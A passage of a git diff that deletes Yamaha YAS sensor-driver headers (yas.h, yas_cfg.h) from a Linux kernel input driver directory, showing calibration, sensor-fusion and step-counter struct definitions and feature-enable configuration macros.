Calibration offset or accuracy is changed - * @retval Negative Failure - */ - int (*update)(struct yas_data *raw, int num); - /** - * Obtains the calibration offset - * @param[in] type Sensor type - * @param[out] offset Calibration offset - * @param[out] accuracy Calibration offset accuracy - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_offset)(int type, struct yas_vector *offset, - uint8_t *accuracy); - /** - * Sets the calibration offset - * @param[in] type Sensor type - * @param[in] offset Calibration offset - * @param[in] accuracy Calibration offset accuracy - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_offset)(int type, struct yas_vector *offset, - uint8_t accuracy); - /** - * Obtains the calibration configuration - * @param[out] config Calibration configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_gyro_calib_config *config); - /** - * Sets the calibration configuration - * @param[in] config Calibration configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_gyro_calib_config *config); - /** - * Obtains the detail of the last calibration result - * @param[out] r Last calibration result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_gyro_calib_result *r); -}; -#endif - -#if YAS_MAG_AVERAGE_FILTER_ENABLE -/** - * @struct yas_mag_avg_config - * @brief Magnetic average filter configuration - */ -struct yas_mag_avg_config { - int tap_min; /*!< Minimum average filter length (0:32, 1:64, 2:128, - 3:256) */ - int tap_hard; /*!< Average filter length currently set to the sensor - (0:32, 1:64, 2:128, 3:256) */ - int filter_len; /*!< Average filter length */ - uint32_t dfine; /*!< Measured standard deviation threshold [nT] */ - uint32_t dthresh; /*!< Median standard deviation threshold [nT] */ -}; - -/** - * @struct yas_mag_avg_result - * @brief Magnetic average filter result - */ -struct yas_mag_avg_result { - int32_t tap_new; /*!< New average filter taps - (0:32, 1:64, 2:128, 3:256) */ - int32_t dm; /*!< Median standard deviation */ -}; - -/** - * @struct yas_mag_avg - * @brief Magnetic average filter - */ -struct yas_mag_avg { - /** - * Initializes the magnetic average filter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the magnetic average filter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the magnetic average filter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the filter - * @param[in] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @param[out] r Average filter result - * @retval 0 Average filter taps is NOT changed - * @retval 1 Average filter taps is changed - * @retval Negative Failure - */ - int (*update)(struct yas_data *raw, int num); - /** - * Obtains the average filter tap - * @param[out] curtap Current average filter tap (0:32, 1:64, 2:128, - * 3:256) - * @param[out] newtap Average filter tap to be set (0:32, 1:64, 2:128, - * 3:256) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_tap)(int *curtap, int *newtap); - /** - * Sets the average filter tap - * @param[in] tap The average filter tap (0:32, 1:64, 2:128, 3:256) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_tap)(int tap); - /** - * Obtains the average filter configuration - * @param[out] config Average filter configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_mag_avg_config *config); - /** - * Sets the average filter configuration - * @param[in] config Average filter configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_mag_avg_config *config); - /** - * Obtains the detail of filter result - * @param[out] r Filter result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_mag_avg_result *r); -}; -#endif - -#if YAS_GAMEVEC_ENABLE -/** - * @struct yas_gamevec_config - * @brief Gamevec config - */ -struct yas_gamevec_config { - int32_t weight; - int32_t hpf_sq_out_threshold; - int16_t sustain; -}; -#endif - -#if YAS_FUSION_ENABLE -/** - * @struct yas_fusion_config - * @brief Sensor fusion configuration - */ -struct yas_fusion_config { - uint8_t mag_fusion_enable; /*!< 6 axis fusion enable or disable */ - uint8_t gyro_fusion_enable; /*!< 9 axis fusion enable or disable */ -#if YAS_GAMEVEC_ENABLE - struct yas_gamevec_config gamevec_config; -#endif -}; - -/** - * @struct yas_fusion_result - * @brief Sensor fusion result - */ -struct yas_fusion_result { -#if YAS_ORIENTATION_ENABLE - struct yas_vector orientation_mag; /*!< orientation angle (acc and mag) - [mdegree]. Azimuth, Pitch, Roll */ -#endif - struct yas_quaternion quaternion_mag; /*!< quaternion (acc and mag) - [normalized in - YAS_QUATERNION_NORM] */ -#if YAS_GAMEVEC_ENABLE - struct yas_quaternion quaternion_gyro; /*!< quaternion (gyro) - [normalized in - YAS_QUATERNION_NORM] */ -#endif -#if YAS_FUSION_WITH_GYRO_ENABLE -#if YAS_ORIENTATION_ENABLE - struct yas_vector orientation_fusion; /*!< orientation angle (acc, mag - and gyro) [mdegree]. Azimuth, - Pitch, Roll */ -#endif - struct yas_quaternion quaternion_fusion; /*!< quaternion (acc, mag and - gyro) [normalized in - YAS_QUATERNION_NORM] */ - struct yas_vector gravity; /*!< Gravity [um/s^2] */ - struct yas_vector linear_acceleration; /*!< Linear acceleration - [um/s^2] */ -#endif -}; - -/** - * @struct yas_fusion - * @brief Sensor fusion - */ -struct yas_fusion { - /** - * Initializes the sensor fusion - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the sensor fusion - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the sensor fusion - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Notifies the square of offset change. - * @param[in] square of offset change in [nT]. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*notify_offset_change)(int32_t square_offset_change); - /** - * Updates the sensor fusion - * @param[in] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*update)(struct yas_data *raw, int num); - /** - * Obtains the sensor fusion configuration - * @param[out] config Sensor fusion configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_fusion_config *config); - /** - * Sets the sensor fusion configuration - * @param[in] config Sensor fusion configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_fusion_config *config); - /** - * Obtains the detail of the last fusion result - * @param[out] r Last fusion result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_fusion_result *r); -}; -#endif - -#if YAS_STEPCOUNTER_ENABLE -/** - * @struct yas_stepcounter_config - * @brief Stepcounter configuration - */ -struct yas_stepcounter_config { - int8_t interval; /*!< Step counter calculate interval (ms) - 0 to 20 */ - int8_t noisecancel; /*!< Noise cancel setting - 0: off - 1: on */ -}; - -/** - * @struct yas_stepcounter_result - * @brief Stepcounter result - */ -struct yas_stepcounter_result { - int32_t walk_and_run_count[2]; - int32_t walk_and_run_time[2]; - int32_t totalcount; /*!< Total (walk and run) count */ - int32_t totaltime; /*!< Total (walk and run) time */ -}; - -/** - * @struct yas_stepcounter - * @brief Step counter function - */ -struct yas_stepcounter { - /** - * Initializes the stepcounter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the stepcounter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the stepcounter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the stepcounter - * @param[in] Measured sensor data (accelerometer) - * @param[in] num The number of the measured sensor data - * @retval 0 Walk count and run count are NOT changed - * @retval 1 Walk count or run count is changed - * @retval Negative Failure - */ - int (*update)(struct yas_data *ydata, int num); - /** - * Obtains the stepcounter configuration - * @param[out] config stepcounter configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_stepcounter_config *config); - /** - * Sets the stepcounter configuration - * @param[in] config stepcounter configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_stepcounter_config *config); - /** - * Obtains the detail of the last stepcounter result - * @param[out] Last stepcounter result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_stepcounter_result *r); -}; -#endif - -#if YAS_SIGNIFICANT_MOTION_ENABLE -/** - * @struct yas_sfm_config - * @brief Significant motion configuration - */ -struct yas_sfm_config { - int dummy; -}; - -/** - * @struct yas_sfm_result - * @brief Significant Motion result - */ -struct yas_sfm_result { - int edge_state; - int edge_type; - int acc_count; - int var_count; - int err_count; -}; - -/** - * @struct yas_sfm - * @brief Significant motion function - */ -struct yas_sfm { - /** - * Initializes the significant motion - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the significant motion - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the significant motion - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the significant motion - * @param[in] Measured sensor data (accelerometer) - * @param[in] num The number of the measured sensor data - * @retval 0 Walk count and run count are NOT changed - * @retval 1 Walk count or run count is changed - * @retval Negative Failure - */ - int (*update)(struct yas_data *ydata, int num); - /** - * Obtains the significant motion configuration - * @param[out] config significant motion configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_sfm_config *config); - /** - * Sets the significant motion configuration - * @param[in] config significant motion configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_sfm_config *config); - /** - * Obtains the detail of the last significant motion result - * @param[out] Last significant motion result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_sfm_result *r); -}; -#endif - -#if YAS_SOFTWARE_GYROSCOPE_ENABLE -/** - * @struct yas_swgyro_config - * @brief Software gyroscope configuration - */ -struct yas_swgyro_config { - int dummy; /*!< dummy */ -}; - -/** - * @struct yas_swgyro_result - * @brief Software gyroscope result - */ -struct yas_swgyro_result { - struct yas_vector swgyro; /*!< Software gyroscope value in mdps */ -}; - -/** - * @struct yas_swgyro - * @brief Software gyroscope - */ -struct yas_swgyro { - /** - * Initializes the software gyroscope - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the software gyroscope - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the software gyroscope - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the software gyroscope - * @param[in] calibrated Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*update)(struct yas_data *calibrated, int num); - /** - * Obtains software gyroscope configuration - * @param[out] config Software gyroscope configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_swgyro_config *config); - /** - * Sets software gyroscope configuration - * @param[in] config Software gyroscope configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_swgyro_config *config); - /** - * Obtains the detail of the last software gyroscope result - * @param[out] r Last software gyroscope result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_swgyro_result *r); -}; -#endif - -#if YAS_ATTITUDE_FILTER_ENABLE - -struct yas_attitude_filter_result { - struct yas_quaternion quaternion; - struct yas_vector gravity; /*!< Gravity [um/s^2] */ - struct yas_vector linear_acceleration; /*!< Linear acceleration - [um/s^2] */ -}; - -/** - * @struct yas_attitude_filter_config - * @brief Attitude-filter config - */ -struct yas_attitude_filter_config { - int32_t dt; - int32_t gamma; -}; - -/** - * @struct yas_attitude_filter - * @brief Attitude-filter. - */ -struct yas_attitude_filter { - /** - * Initializes the attitude_filter. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the attitude-filter. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the attitude-filter. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the attitude-filter. - * @param[in] data Magnetometer and Accelerometer data. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*update)(struct yas_data *data, int num); - /** - * Gets a configuration parameter. - * @param[out] c A pointer to the configuration parameter. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_attitude_filter_config *c); - /** - * Sets a configuration parameter. - * @param[in] c A pointer to the configuration parameter. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(const struct yas_attitude_filter_config *c); - /** - * Gets the last result of attitude-filter. - * @param[out] r Result. - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_attitude_filter_result *r); -}; -#endif - -#if YAS_LOG_ENABLE - -/** - * @struct yas_log - * @brief User-written callback functions for log control - */ -struct yas_log { - /** - * Open the log - * @retval 0 Success - * @retval Negative Failure - */ - int (*log_open)(void); - /** - * Close the log - * @retval 0 Success - * @retval Negative Failure - */ - int (*log_close)(void); - /** - * Write the log - * @param[in] buf Log string - * @param[in] len Log string length - * @retval 0 Success - * @retval Negative Failure - */ - int (*log_write)(const char *buf, int len); -}; -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 -struct yas530_self_test_result { - int32_t id; - int8_t xy1y2[3]; - int32_t dir; - int32_t sx, sy; - int32_t xyz[3]; -}; -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 -struct yas532_self_test_result { - int32_t id; - int8_t xy1y2[3]; - int32_t dir; - int32_t sx, sy; - int32_t xyz[3]; -}; -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -struct yas537_self_test_result { - int32_t id; - int32_t dir; - int32_t sx, sy; - int32_t xyz[3]; -}; -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS539 -struct yas539_self_test_result { - int32_t id; - int32_t dir; - int32_t sx, sy; - int32_t xyz[3]; -}; -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS535 -struct yas535_acc_self_test_result { - int dummy; /* TBD */ -}; -struct yas535_mag_self_test_result { - int32_t id; - int8_t xy1y2[3]; - int32_t dir; - int32_t sx, sy; - int32_t xyz[3]; -}; -#endif - -/* ---------------------------------------------------------------------------- - * Global function definition - *--------------------------------------------------------------------------- */ - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * Initializes the acceleration sensor driver module. Call thie function by - * specifying a callback function. - * @param[in,out] f Pointer to yas_acc_driver struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_acc_driver_init(struct yas_acc_driver *f); - -/** - * Initializes the magnetic sensor driver module. Call thie function by - * specifying a callback function. - * @param[in,out] f Pointer to yas_mag_driver struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_mag_driver_init(struct yas_mag_driver *f); - -/** - * Initializes the gyroscope sensor driver module. Call thie function by - * specifying a callback function. - * @param[in,out] f Pointer to yas_gyro_driver struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_gyro_driver_init(struct yas_gyro_driver *f); - -/** - * Initializes the acceleration and gyroscope sensor (6-axis) driver module. - * Call thie function by specifying a callback function. - * @param[in,out] f Pointer to yas_acc_gyro_driver struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_acc_gyro_driver_init(struct yas_acc_gyro_driver *f); - -/** - * Initializes the acceleration and magnetic sensor (6-axis) driver module. - * Call thie function by specifying a callback function. - * @param[in,out] f Pointer to yas_acc_mag_driver struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_acc_mag_driver_init(struct yas_acc_mag_driver *f); - -/** - * Initializes the acceleration, magnetic and gyroscope sensor (9-axis) driver - * module. Call thie function by specifying a callback function. - * @param[in,out] f Pointer to yas_acc_mag_gyro_driver struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_acc_mag_gyro_driver_init(struct yas_acc_mag_gyro_driver *f); - -#if YAS_MAG_CALIB_ENABLE -/** - * Initializes the magnetic calibration module. - * @param[in,out] f Pointer to yas_mag_calib struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_mag_calib_init(struct yas_mag_calib *f); -#endif - -#if YAS_GYRO_CALIB_ENABLE -/** - * Initializes the gyroscope calibration module. - * @param[in,out] f Pointer to yas_gyro_calib struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_gyro_calib_init(struct yas_gyro_calib *f); -#endif - -#if YAS_MAG_FILTER_ENABLE -/** - * Initializes the magnetic filter module. - * @param[in,out] f Pointer to yas_mag_filter struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_mag_filter_init(struct yas_mag_filter *f); -#endif - -#if YAS_MAG_AVERAGE_FILTER_ENABLE -/** - * Initializes the magnetic average filter module. - * @param[in,out] f Pointer to yas_mag_avg struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_mag_avg_init(struct yas_mag_avg *f); -#endif - -#if YAS_FUSION_ENABLE -/** - * Initializes the sensor fusion module. - * @param[in,out] f Pointer to yas_fusion struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_fusion_init(struct yas_fusion *f); -#endif - -#if YAS_STEPCOUNTER_ENABLE -/** - * Initializes the stepcounter module. - * @param[in,out] f Pointer to yas_stepcounter struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_stepcounter_init(struct yas_stepcounter *f); -#endif - -#if YAS_SIGNIFICANT_MOTION_ENABLE -/** - * Initializes the significant motion module. - * @param[in,out] f Pointer to yas_sfm struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_sfm_init(struct yas_sfm *f); -#endif - -#if YAS_SOFTWARE_GYROSCOPE_ENABLE -/** - * Initializes the software gyroscope module - * @param[in,out] f Pointer to yas_swgyro struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_swgyro_init(struct yas_swgyro *f); -#endif - -#if YAS_ATTITUDE_FILTER_ENABLE -/** - * Initializes the filtered-attutde module. - * @param[in,out] f Pointer to yas_attitude_filter struct - * @retval #YAS_NO_ERROR Success - * @retval Negative Number Error - */ -int yas_attitude_filter_init(struct yas_attitude_filter *f); -#endif - -#ifdef __cplusplus -} -#endif - -#endif /* __YAS_H__ */ diff --git a/drivers/input/misc/yas_cfg.h b/drivers/input/misc/yas_cfg.h deleted file mode 100644 index 79fc45077c472..0000000000000 --- a/drivers/input/misc/yas_cfg.h +++ /dev/null @@ -1,245 +0,0 @@ -/** - * Configuration header file of the core driver API @file yas_cfg.h - * - * Copyright (c) 2013-2014 Yamaha Corporation - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any damages - * arising from the use of this software. - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software. If you use this software - * in a product, an acknowledgment in the product documentation would be - * appreciated but is not required. - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software. - * 3. This notice may not be removed or altered from any source distribution. - */ -#ifndef __YAS_CFG_H__ -#define __YAS_CFG_H__ - -#define YAS_MAG_DRIVER_NONE (0) /*!< No Magnetometer */ -#define YAS_MAG_DRIVER_YAS529 (1) /*!< YAS 529 (MS-3C) */ -#define YAS_MAG_DRIVER_YAS530 (2) /*!< YAS 530 (MS-3E) */ -#define YAS_MAG_DRIVER_YAS532 (3) /*!< YAS 532 (MS-3R) */ -#define YAS_MAG_DRIVER_YAS533 (4) /*!< YAS 533 (MS-3F) */ -#define YAS_MAG_DRIVER_YAS535 (5) /*!< YAS 535 (MS-6C) */ -#define YAS_MAG_DRIVER_YAS536 (6) /*!< YAS 536 (MS-3W) */ -#define YAS_MAG_DRIVER_YAS537 (7) /*!< YAS 537 (MS-3T) */ -#define YAS_MAG_DRIVER_YAS539 (8) /*!< YAS 539 (MS-3S) */ -#define YAS_MAG_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ - -#define YAS_ACC_DRIVER_NONE (0) /*!< No Accelerometer */ -#define YAS_ACC_DRIVER_ADXL345 (1) /*!< ADXL 345 */ -#define YAS_ACC_DRIVER_ADXL346 (2) /*!< ADXL 346 */ -#define YAS_ACC_DRIVER_BMA150 (3) /*!< BMA 150 */ -#define YAS_ACC_DRIVER_BMA222 (4) /*!< BMA 222 */ -#define YAS_ACC_DRIVER_BMA222E (5) /*!< BMA 222E */ -#define YAS_ACC_DRIVER_BMA250 (6) /*!< BMA 250 */ -#define YAS_ACC_DRIVER_BMA250E (7) /*!< BMA 250E */ -#define YAS_ACC_DRIVER_BMA254 (8) /*!< BMA 254 */ -#define YAS_ACC_DRIVER_BMA255 (9) /*!< BMA 255 */ -#define YAS_ACC_DRIVER_BMI055 (10) /*!< BMI 055 */ -#define YAS_ACC_DRIVER_BMI058 (11) /*!< BMI 058 */ -#define YAS_ACC_DRIVER_DMARD08 (12) /*!< DMARD08 */ -#define YAS_ACC_DRIVER_KXSD9 (13) /*!< KXSD9 */ -#define YAS_ACC_DRIVER_KXTE9 (14) /*!< KXTE9 */ -#define YAS_ACC_DRIVER_KXTF9 (15) /*!< KXTF9 */ -#define YAS_ACC_DRIVER_KXTI9 (16) /*!< KXTI9 */ -#define YAS_ACC_DRIVER_KXTJ2 (17) /*!< KXTJ2 */ -#define YAS_ACC_DRIVER_KXUD9 (18) /*!< KXUD9 */ -#define YAS_ACC_DRIVER_LIS331DL (19) /*!< LIS331DL */ -#define YAS_ACC_DRIVER_LIS331DLH (20) /*!< LIS331DLH */ -#define YAS_ACC_DRIVER_LIS331DLM (21) /*!< LIS331DLM */ -#define YAS_ACC_DRIVER_LIS3DH (22) /*!< LIS3DH */ -#define YAS_ACC_DRIVER_LSM330DLC (23) /*!< LSM330DLC */ -#define YAS_ACC_DRIVER_MMA8452Q (24) /*!< MMA8452Q */ -#define YAS_ACC_DRIVER_MMA8453Q (25) /*!< MMA8453Q */ -#define YAS_ACC_DRIVER_U2DH (26) /*!< U2DH */ -#define YAS_ACC_DRIVER_YAS535 (27) /*!< YAS 535 (MS-6C) */ -#define YAS_ACC_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ - -#define YAS_GYRO_DRIVER_NONE (0) /*!< No Gyroscope */ -#define YAS_GYRO_DRIVER_BMG160 (1) /*!< BMG160 */ -#define YAS_GYRO_DRIVER_BMI055 (2) /*!< BMI055 */ -#define YAS_GYRO_DRIVER_BMI058 (3) /*!< BMI058 */ -#define YAS_GYRO_DRIVER_EWTZMU (4) /*!< EWTZMU */ -#define YAS_GYRO_DRIVER_ITG3200 (5) /*!< ITG3200 */ -#define YAS_GYRO_DRIVER_ITG3500 (6) /*!< ITG3500 */ -#define YAS_GYRO_DRIVER_L3G3200D (7) /*!< L3G3200D */ -#define YAS_GYRO_DRIVER_L3G4200D (8) /*!< L3G4200D */ -#define YAS_GYRO_DRIVER_LSM330DLC (9) /*!< LSM330DLC */ -#define YAS_GYRO_DRIVER_MPU3050 (10) /*!< MPU3050 */ -#define YAS_GYRO_DRIVER_MPU6050 (11) /*!< MPU6050 */ -#define YAS_GYRO_DRIVER_YAS53x (0x7fff) /*!< YAS XXX */ - -/*---------------------------------------------------------------------------- - * Configuration - *----------------------------------------------------------------------------*/ - -#define YAS_ACC_DRIVER (YAS_ACC_DRIVER_BMI055) -#define YAS_MAG_DRIVER (YAS_MAG_DRIVER_YAS537) -#define YAS_GYRO_DRIVER (YAS_GYRO_DRIVER_BMI055) - -/*! Magnetic driver interrupt enable (0:Disable, 1: Enable) */ -#define YAS_MAG_DRIVER_INTERRUPT_ENABLE (0) -/*! Magnetic driver interrupt active HIGH (0:active LOW, 1: active HIGH) */ -#define YAS_MAG_DRIVER_ACTIVE_HIGH (0) - -/*! Magnetic minimum calibration enable (0:Disable, 1: Enable) */ -#define YAS_MAG_CALIB_MINI_ENABLE (0) -/*! Magnetic floating point calibration enable (0:Disable, 1: Enable) */ -#define YAS_MAG_CALIB_FLOAT_ENABLE (0) -/*! Magnetic sphere calibration enable (0:Disable, 1: Enable) */ -#define YAS_MAG_CALIB_SPHERE_ENABLE (1) -/*! Magnetic ellipsoid calibration enable (0:Disable, 1: Enable) */ -#define YAS_MAG_CALIB_ELLIPSOID_ENABLE (1) -/*! Magnetic calibration with gyroscope enable (0:Disable, 1: Enable) */ -#define YAS_MAG_CALIB_WITH_GYRO_ENABLE (1) - -#if YAS_MAG_CALIB_MINI_ENABLE -#undef YAS_MAG_CALIB_FLOAT_ENABLE -#undef YAS_MAG_CALIB_SPHERE_ENABLE -#undef YAS_MAG_CALIB_ELLIPSOID_ENABLE -#undef YAS_MAG_CALIB_WITH_GYRO_ENABLE -#define YAS_MAG_CALIB_FLOAT_ENABLE (0) -#define YAS_MAG_CALIB_SPHERE_ENABLE (0) -#define YAS_MAG_CALIB_ELLIPSOID_ENABLE (0) -#define YAS_MAG_CALIB_WITH_GYRO_ENABLE (0) -#elif YAS_MAG_CALIB_FLOAT_ENABLE -#undef YAS_MAG_CALIB_WITH_GYRO_ENABLE -#define YAS_MAG_CALIB_WITH_GYRO_ENABLE (0) -#endif -/*! Magnetic calibration enable (0:Disable, 1: Enable) */ -#define YAS_MAG_CALIB_ENABLE (YAS_MAG_CALIB_FLOAT_ENABLE | \ - YAS_MAG_CALIB_MINI_ENABLE | \ - YAS_MAG_CALIB_SPHERE_ENABLE | \ - YAS_MAG_CALIB_ELLIPSOID_ENABLE | \ - YAS_MAG_CALIB_WITH_GYRO_ENABLE) - -/*! Gyroscope calibration enable (0:Disable, 1: Enable) */ -#define YAS_GYRO_CALIB_ENABLE (1) -/*! Magnetic filter enable (0:Disable, 1: Enable) */ -#define YAS_MAG_FILTER_ENABLE (1) -/*! Fusion with gyroscope enable (0:Disable, 1: Enable) */ -#define YAS_FUSION_ENABLE (1) -/*! Fusion with gyroscope enable (0:Disable, 1: Enable) */ -#define YAS_FUSION_WITH_GYRO_ENABLE (1) -/*! Quaternion (gyroscope) enable (0:Disable, 1: Enable) */ -#define YAS_GAMEVEC_ENABLE (1) -/*! Magnetic average filter enable (0:Disable, 1:Enable) */ -#define YAS_MAG_AVERAGE_FILTER_ENABLE (0) -/*! step counter enable (0:Disable, 1:Enable) */ -#define YAS_STEPCOUNTER_ENABLE (0) -/*! Significant motion enable (0:Disable, 1:Enable) */ -#define YAS_SIGNIFICANT_MOTION_ENABLE (0) -/*! Software gyroscope enable (0:Disable, 1:Enable) */ -#define YAS_SOFTWARE_GYROSCOPE_ENABLE (0) -/* Acc and Mag 6 Axis attitude filter enable (0: Disable, 1: Enable) */ -#define YAS_ATTITUDE_FILTER_ENABLE (0) -/*! Log enable (0:Disable, 1:Enable) */ -#define YAS_LOG_ENABLE (0) -/*! Orientation enable (0:Disable, 1:Enable) */ -#define YAS_ORIENTATION_ENABLE (1) - -/*! Mangetic vdd in mV */ -#define YAS_MAG_VCORE (1800) - -/*! No sleep version of YAS532 driver */ -#define YAS532_DRIVER_NO_SLEEP (0) - -/* ---------------------------------------------------------------------------- - * Driver Configuration - *--------------------------------------------------------------------------- */ -/*! Default sensor delay in [msec] */ -#define YAS_DEFAULT_SENSOR_DELAY (50) - -/* ---------------------------------------------------------------------------- - * Geomagnetic Filter Configuration - *--------------------------------------------------------------------------- */ - -/*! Geomagnetic adaptive filter noise threshold (dispersion in [nT]) */ -#define YAS_MAG_DEFAULT_FILTER_NOISE (1800) -/*! Geomagnetic adaptive filter length */ -#define YAS_MAG_DEFAULT_FILTER_LEN (20) -/*! Geomagnetic threshold filter threshold in [nT] */ -#define YAS_MAG_DEFAULT_FILTER_THRESH (300) - -/* ---------------------------------------------------------------------------- - * Other Configuration - *--------------------------------------------------------------------------- */ - -#if YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE -#undef YAS_STEPCOUNTER_ENABLE -#define YAS_STEPCOUNTER_ENABLE (0) -#undef YAS_SIGNIFICANT_MOTION_ENABLE -#define YAS_SIGNIFICANT_MOTION_ENABLE (0) -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE -#undef YAS_MAG_CALIB_ENABLE -#define YAS_MAG_CALIB_ENABLE (0) -#undef YAS_MAG_FILTER_ENABLE -#define YAS_MAG_FILTER_ENABLE (0) -#endif -#if YAS_MAG_DRIVER != YAS_MAG_DRIVER_YAS536 -#undef YAS_MAG_AVERAGE_FILTER_ENABLE -#define YAS_MAG_AVERAGE_FILTER_ENABLE (0) -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE \ - || YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE -#undef YAS_SOFTWARE_GYROSCOPE_ENABLE -#define YAS_SOFTWARE_GYROSCOPE_ENABLE (0) -#undef YAS_FUSION_ENABLE -#define YAS_FUSION_ENABLE (0) -#endif - -#if YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE \ - || YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE -#undef YAS_GAMEVEC_ENABLE -#define YAS_GAMEVEC_ENABLE (0) -#endif - -#if YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE -#undef 